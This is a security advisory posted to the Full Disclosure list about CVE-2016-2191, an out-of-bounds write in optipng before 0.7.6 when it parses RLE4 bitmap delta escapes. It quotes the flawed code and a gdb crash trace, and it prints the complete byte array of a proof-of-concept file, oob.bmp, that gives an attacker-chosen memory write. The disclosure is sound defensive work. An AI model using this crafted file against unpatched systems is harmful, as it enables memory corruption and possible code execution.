An invalid write may occur in optipng before version 0.7.6 while processing bitmap images due to `crt_row' being (inc|dec)remented without any boundary checking when encountering delta escapes.
optipng-0.7.5/src/pngxtern/pngxrbmp.c: ,---- | 210 static size_t | 211 bmp_read_rows(png_bytepp begin_row, png_bytepp end_row, size_t row_size, | 212 unsigned int compression, FILE *stream) | 213 { | ... | 272 crt_row = begin_row; | 273 for ( ; ; ) | 274 { | 275 ch = getc(stream); b1 = (unsigned int)ch; | 276 ch = getc(stream); b2 = (unsigned int)ch; | 277 if (ch == EOF) | 278 break; | 279 if (b1 == 0) /* escape */ | 280 { | ... | 307 else if (b2 == 2) /* delta */ | 308 { | 309 ch = getc(stream); b1 = (unsigned int)ch; /* horiz. offset */ | 310 ch = getc(stream); b2 = (unsigned int)ch; /* vert. offset */ | ... | 314 if (b2 > (size_t)((end_row - crt_row) * inc)) | 315 b2 = (unsigned int)((end_row - crt_row) * inc); | 316 for ( ; b2 > 0; --b2) | 317 { | ... | 319 crt_row += inc; | ... | 322 } | ... | 324 } | 325 else /* b2 >= 3 bytes in absolute mode */ | 326 { | 327 len = (b2 <= endn - crtn) ? b2 : (unsigned int)(endn - crtn); | 328 if (bmp_fread_fn(*crt_row, crtn, len, stream) != len) | 329 break; | 330 crtn += len; | 331 } | 332 } | ... | 352 } `---- After `crt_row' has moved OOB, an invalid write may be triggered with `bmp_fread_fn()' in absolute mode: ,---- | $ gdb --args optipng oob.bmp | (gdb) r | ** Processing: oob.bmp | | Program received signal SIGSEGV, Segmentation fault. | __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96 | 96 ../sysdeps/x86_64/multiarch/../memcpy.S: No such file or directory. | | (gdb) bt | #0 __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96 | #1 0x00007ffff7a89003 in __GI__IO_file_xsgetn (fp=0x64a010, data=<optimized out>, n=4) at fileops.c:1371 | #2 0x00007ffff7a7e5f0 in __GI__IO_fread (buf=<optimized out>, size=1, count=4, fp=0x64a010) at iofread.c:42 | #3 0x000000000040b632 in bmp_rle4_fread (ptr=0x4141 <error: Cannot access memory at address 0x4141>, offset=0, len=8, stream=0x64a010) at pngxrbmp.c:170 | #4 0x000000000040baf6 in bmp_read_rows (begin_row=0x64e668, end_row=0x64a538, row_size=4, compression=2, stream=0x64a010) at pngxrbmp.c:328 | #5 0x000000000040cb0e in pngx_read_bmp (png_ptr=0x64a240, info_ptr=0x64a4b0, stream=0x64a010) at pngxrbmp.c:724 | #6 0x000000000040b352 in pngx_read_image (png_ptr=0x64a240, info_ptr=0x64a4b0, fmt_name_ptr=0x7fffffffbf10, fmt_long_name_ptr=0x0) at pngxread.c:130 | #7 0x00000000004043cc in opng_read_file (infile=0x64a010) at optim.c:939 | #8 0x000000000040586a in opng_optimize_impl (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1503 | #9 0x0000000000406749 in opng_optimize (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1853 | #10 0x0000000000402bf0 in process_files (argc=2, argv=0x7fffffffe638) at optipng.c:941 | #11 0x0000000000402cb5 in main (argc=2, argv=0x7fffffffe638) at optipng.c:975 | | (gdb) x/i $rip | => 0x7ffff7aa3427 <__memcpy_sse2+55 at ../sysdeps/x86_64/multiarch/../memcpy.S:96>: mov %ecx,(%rdi) | (gdb) p/x $ecx | $1 = 0x11223344 | (gdb) p/x $rdi | $2 = 0x4141 | (gdb) `---- oob.bmp ======= ,---- | unsigned char bmp[] = { | /* bmp header */ | 0x42, 0x4d, /* BM */ | 0x00, 0x00, 0x00, 0x00, /* bmp size */ | 0x00, 0x00, /* reserved */ | 0x00, 0x00, /* reserved */ | 0x7a, 0x00, 0x00, 0x00, /* offset */ | | /* dib header */ | 0x6c, 0x00, 0x00, 0x00, /* header_size (BITMAPV4HEADER) */ | 0x01, 0x00, 0x00, 0x00, /* width */ | 0x26, 0x08, 0x00, 0x00, /* height */ | 0x01, 0x00, /* color planes */ | 0x04, 0x00, /* bits per pixel */ | 0x02, 0x00, 0x00, 0x00, /* compression (RLE4) */ | 0x00, 0x00, 0x00, 0x00, /* size of bitmap */ | 0x00, 0x00, 0x00, 0x00, /* horizontal resolution */ | 0x00, 0x00, 0x00, 0x00, /* vertical resolution */ | 0x01, 0x00, 0x00, 0x00, /* number of colors */ | 0x00, 0x00, 0x00, 0x00, /* number of important colors */ | 0x00, 0x00, 0x00, 0x00, /* red mask */ | 0x00, 0x00, 0x00, 0x00, /* green mask */ | 0x00, 0x00, 0x00, 0x00, /* blue mask */ | 0x00, 0x00, 0x00, 0x00, /* alpha mask */ | 0x00, 0x00, 0x00, 0x00, /* color space type */ | 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */ | 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */ | 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */ | 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */ | 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */ | 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */ | 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */ | 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */ | 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */ | 0x00, 0x00, 0x00, 0x00, /* red gamma */ | 0x00, 0x00, 0x00, 0x00, /* green gamma */ | 0x00, 0x00, 0x00, 0x00, /* blue gamma */ | | /* | * delta escape (0x00, 0x02), b1, b2 | * | * The number of delta escapes required for crt_row to be moved | * beyond its allocated chunk depends on the image height. | * | * b1 is relevant in the last escape if the value at *crt_row is a | * non-writable address due to: | * | * dcrtn = (b1 < endn - crtn) ? (crtn + b1) : endn; | * [...] | * for ( ; b2 > 0; --b2) | * { | * [...] | * crt_row += inc; | * crtn = 0 | * [...] | * } | * bmp_memset_fn(*crt_row, crtn, 0, dcrtn - crtn); | * | * For RLE4-encoded data, bmp_rle4_memset() bails if dcrtn - crtn == 0 | */ | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x11, 0xff, | 0x00, 0x02, 0x00, 0xff, | | /* | * absolute mode (0x00, 0x03..0xff) followed by the value that's | * bmp_fread_fn() to *crt_row | */ | 0x00, 0xff, 0x44, 0x33, 0x22, 0x11 | }; `---- Solution ======== This issue has been assigned CVE-2016-2191 and is fixed in optipng 0.7.6. -- Hans Jerry Illikainen _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/